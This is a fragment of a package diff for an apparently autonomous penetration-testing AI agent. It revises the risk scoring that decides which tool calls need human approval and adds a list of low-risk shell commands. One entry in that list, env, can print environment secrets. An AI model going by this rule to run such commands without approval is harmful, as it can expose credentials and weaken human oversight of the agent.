+ /^hostname/i,
2398
+ /^pwd$/i,
2399
+ /^env$/i,
2400
+ /^echo\s/i
2401
+ ];
1704
2402
  function assessRisk(toolName, toolInput) {
1705
2403
  const inputStr = JSON.stringify(toolInput).toLowerCase();
2404
+ const command = toolInput.command || "";
1706
2405
  for (const pattern of HIGH_RISK_PATTERNS) {
1707
- if (pattern.test(inputStr)) {
2406
+ if (pattern.test(inputStr) || pattern.test(command)) {
1708
2407
  return "critical";
1709
2408
  }
1710
2409
  }
1711
- if (CRITICAL_TOOLS.includes(toolName)) {
1712
- return "high";
2410
+ if (LOW_RISK_TOOLS.includes(toolName)) {
2411
+ return "low";
1713
2412
  }
1714
- if (toolName.includes("script") || toolName.includes("exec")) {
1715
- return "medium";
2413
+ if (toolName === "bash" && command) {
2414
+ for (const pattern of LOW_RISK_PATTERNS) {
2415
+ if (pattern.test(command.trim())) {
2416
+ return "low";
2417
+ }
2418
+ }
1716
2419
  }
1717
- if (toolName.includes("scan") || toolName.includes("request")) {
1718
- return "medium";
2420
+ if (CRITICAL_TOOLS.includes(toolName)) {
2421
+ return "high";
1719
2422
  }
1720
- return "low";
2423
+ return "medium";
1721
2424
  }
1722
2425
  function generateRequestId() {
1723
2426
  return `approval_${Date.now()}_${Math.random().toString(36).substring(2, 8)}`;
@@ -5349,7 +6052,7 @@ var App = ({ autoApprove = false, target }) => {
5349
6052
  setCheckpointCount(contextManagerRef.current?.getCheckpoints().length || 0);
5350
6053
  }
5351
6054
  });
5352
- import("./auto-update-CVZG3YKL.js").then(({ checkForUpdateAsync, formatUpdateNotification }) => {
6055
+ import("./auto-update-23RX6SWZ.js").then(({ checkForUpdateAsync, formatUpdateNotification }) => {
5353
6056
  checkForUpdateAsync().then((result) => {
5354
6057
  if (result.hasUpdate) {
5355
6058
  const notification = formatUpdateNotification(result);
@@ -5943,7 +6646,7 @@ ${list}`);
5943
6646
  return;
5944
6647
  case "update":
5945
6648
  try {
5946
- const { checkForUpdate, formatUpdateNotification, doUpdate } = await import("./update-B6HRINH6.js");
6649
+ const { checkForUpdate, formatUpdateNotification, doUpdate } = await import("./update-6I3E5PSP.js");
5947
6650
  const result = checkForUpdate(true);
5948
6651
  if (result.hasUpdate) {
5949
6652
  const notification = formatUpdateNotification(result);
@@ -8,8 +8,8 @@ import {
8
8
  readVersionCache,
9
9
  semverTuple,
10
10
  writeVersionCache
11
- } from "./chunk-TK3QEEDA.js";
12
- import "./chunk-CKXQT3ON.js";
11
+ } from "./chunk-6MCOPWPF.js";
12
+ import "./chunk-6RVVWSNN.js";
13
13
  import "./chunk-3RG5ZIWI.js";
14
14
  export {
15
15
  checkForUpdate,
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "pentesting",
3
- "version": "0.5.9",
3
+ "version": "0.6.1",
4
4
  "description": "Autonomous Penetration Testing AI Agent",
5
5
  "type": "module",
6
6
  "main": "dist/index.js",